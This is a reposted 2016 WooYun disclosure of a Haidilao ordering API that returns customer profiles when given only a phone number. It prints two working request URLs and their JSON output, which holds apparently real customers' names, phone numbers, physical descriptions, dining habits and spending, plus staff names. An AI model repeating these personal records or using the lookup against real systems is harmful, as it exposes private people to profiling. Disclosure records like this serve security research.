海底捞某接口可获取用户“画像”（例如某人:高个/戴眼镜/头发微卷/左眉处有颗痣）

2017年4月29日21:34:23评论388 views字数 233阅读0分46秒阅读模式

摘要

2016-03-08：细节已通知厂商并且等待厂商处理中
2016-03-08：厂商已经确认，细节仅向厂商公开
2016-03-18：细节向核心白帽子及相关领域专家公开
2016-03-28：细节向普通白帽子公开
2016-04-07：细节向实习白帽子公开
2016-04-22：细节向公众公开

漏洞概要关注数(20) 关注此漏洞

缺陷编号： WooYun-2016-182239

漏洞标题：海底捞某接口可获取用户“画像”（例如某人:高个/戴眼镜/头发微卷/左眉处有颗痣）

漏洞作者：撸撸侠

提交时间： 2016-03-08 14:40

公开时间： 2016-04-22 15:41

漏洞类型：设计缺陷/逻辑错误

危害等级：高

自评Rank： 20

漏洞状态：厂商已经确认

漏洞来源：www.wooyun.org ，如有疑问或需要帮助请联系

Tags标签：无

0人收藏

漏洞详情

披露状态：

简要描述：

海底捞某接口可获取用户“画像”（例如某人:高个/戴眼镜/头发微卷/左眉处有颗痣）
传说中的用户画像，以前只在刑侦电影里听警察叔叔说过这样的台词

详细说明：

http://cater.haidilao.com/Cater/telephoneOrderSeat/telephoneOrder/ajaxGetLastestOrderInfo.action?contactPhone=13673997212

code 区域

{"simple":{"totalScore":1047,"contactPhone":"13673997212","sex":"0","appearance":"高个，戴眼镜，头发微卷，左眉处有颗痣","customerId":"5376060","contactName":"逐天","memberCard":"是;","hobby":"喜欢菌汤锅，虾滑;","customization":"最后一次到店时间：02/15/2016 19:18:36 天旺店;服务员：冯利萍;桌号：132;","serviceSpec":"最后一次到店时间：02/15/2016 19:18:36 天旺店;服务员：冯利萍;桌号：132;","discount":"不打折;累计消费金额：1037;单次平均消费：259.25;就餐次数：4;","memberLevel":"2星会员"}}

http://cater.haidilao.com/Cater/telephoneOrderSeat/telephoneOrder/ajaxGetLastestOrderInfo.action?contactPhone=13524533580

code 区域

{"simple":{"totalScore":2322,"contactPhone":"13524533580","sex":"1","appearance":"微 马尾扎起 单眼皮 白皮肤","customerId":"17580986","contactName":"Cindy","memberCard":"是;","hobby":"虾滑 豆花 甜玉米;;","customization":"最后一次到店时间：08/14/2015 19:54:48 长寿路店;服务员：李若飞;桌号：002;","serviceSpec":"最后一次到店时间：08/14/2015 19:54:48 长寿路店;服务员：李若飞;桌号：002;","discount":"不打折;累计消费金额：2322;单次平均消费：580.5;就餐次数：4;","memberLevel":"2星会员"}}

漏洞证明：

修复方案：

版权声明：转载请注明来源撸撸侠@乌云

漏洞回应

厂商回应：

危害等级：低

漏洞Rank：5

确认时间：2016-03-08 15:41

厂商回复：

谢谢您的反馈，我们已安排人员进行修复！

漏洞评价：

对本漏洞信息进行评价，以更好的反馈信息的价值，包括信息客观性，内容是否完整以及是否具备学习价值

漏洞评价(共0人评价):

登陆后才能进行评分

评价

2016-03-08 14:42 | 疯狗 ( 实习白帽子 | Rank:44 漏洞数:2 | 阅尽天下漏洞，心中自然无码。)

1

连长相都泄露了

1# 回复此人
2016-03-08 14:43 | j14n ( 普通白帽子 | Rank:2226 漏洞数:398 )

2

高晓松?

2# 回复此人
2016-03-08 14:44 | 浮萍 ( 普通白帽子 | Rank:1077 漏洞数:217 )

1

吓得我不敢去了

3# 回复此人
2016-03-08 14:50 | 大师兄 ( 实习白帽子 | Rank:31 漏洞数:8 | 每日必关注乌云)

1

例如撸撸侠：高个/戴眼镜/头发微卷/左眉处有颗痣

4# 回复此人
2016-03-08 15:25 | 随风的风 ( 普通白帽子 | Rank:259 漏洞数:96 | 微信公众号：233sec 不定期分享各种漏洞思...)

1

我擦。。。666

5# 回复此人

漏洞概要 关注数(20) 关注此漏洞

缺陷编号： WooYun-2016-182239

漏洞标题： 海底捞某接口可获取用户“画像”（例如某人:高个/戴眼镜/头发微卷/左眉处有颗痣）

相关厂商： haidilao.com

漏洞作者： 撸撸侠